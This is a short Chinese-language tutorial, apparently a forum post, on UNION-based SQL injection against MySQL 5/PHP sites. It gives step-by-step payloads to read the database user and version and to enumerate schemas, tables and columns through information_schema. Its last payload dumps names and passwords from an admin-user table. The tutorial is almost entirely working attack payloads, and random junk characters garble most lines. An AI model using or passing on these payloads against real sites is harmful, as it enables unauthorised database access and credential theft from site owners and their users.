1 |2 c+ S5 ^0 w" e% H8 ^8 q教程内容:Mysql 5+php 注入
% x# L) w6 {; h6 j
) _; s( X! t. W, ]0 k, G+ H4 \! x$ L
2 u+ `" g' b6 t0 Y5 V4 N
一.查看MYSQL基本信息(库名,版本,用户)
3 K n8 a, E E# ^, |3 J" p% k7 i8 `4 q
and 1=2 union select 1,2,3,CONCAT_WS(CHAR(32,58,32),user(),database(),version()),5,6,7,8/*7 h. ?2 s0 c2 ]5 y/ }! J. Y. ~
; P7 C! f' ~7 D9 i0 D, }3 |+ A' X, W
二.查数据库
Q" O0 {; B1 ^% i e2 s0 U9 X2 f K9 \- J3 g e: t
and 1=2 union select 1,SCHEMA_NAME,3,4,5,6,7,8 from information_schema.SCHEMATA limit 1,1/*
) i5 W [3 ^& } Z2 Nlimit 从0开始递增,查询到3时浏览器返回错误,说明存在2个库。
( g. r, K0 c7 b9 h7 ~
) o0 _- q: V. }2 E, t三.暴表2 I# W" k. `9 o
; j. [. r! C; I8 ]0 Jand 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8 from information_schema.TABLES where TABLE_SCHEMA =库的16进制编码 limit 1,1/*
: b( w. H. W" u: N$ Q9 \, A! V8 r% M3 p X7 G$ l- n; L1 @
limit 从0开始递增,查询到14时浏览器返回错误,说明此库存在13个表。
! ^& v2 K- q$ t9 d7 z
' P0 U: ]% h- _2 T8 z" w- q四.暴字段, L4 @0 H# n/ W. i5 Z
) Y' e; b9 _7 p
and 1=2 union select 1,2,3,COLUMN_NAME,4,5,6,7,8from information_schema.COLUMNS where TABLE_NAME=表的16进制编码 limit 1,1/*
. k. ]7 H, V" g. w) Y9 h. k+ n- [9 D" G' ?" l1 S* f' z
limit 从0开始递增,查询到时浏览器返回错误,说明此表存在N-1个列。! G/ X3 g5 T, n
" [& b' O7 a1 [% m五.暴数据
6 k y+ P! E2 f1 ]2 y4 g; X7 @6 r2 N. H6 |" `; i
and 1=2 union select 1,2,3,name,5,password,7,8 from web.ad_user/*: u9 ]$ [9 n& u% Z4 L8 y7 ^
9 j, V+ N' p0 S
" A! ]" e6 B& e) A0 q, b这里直接暴明文的密码,大多时候我们遇到的是MD5加密之后的密文。
3 N; p) v9 N/ }6 j) @6 Q |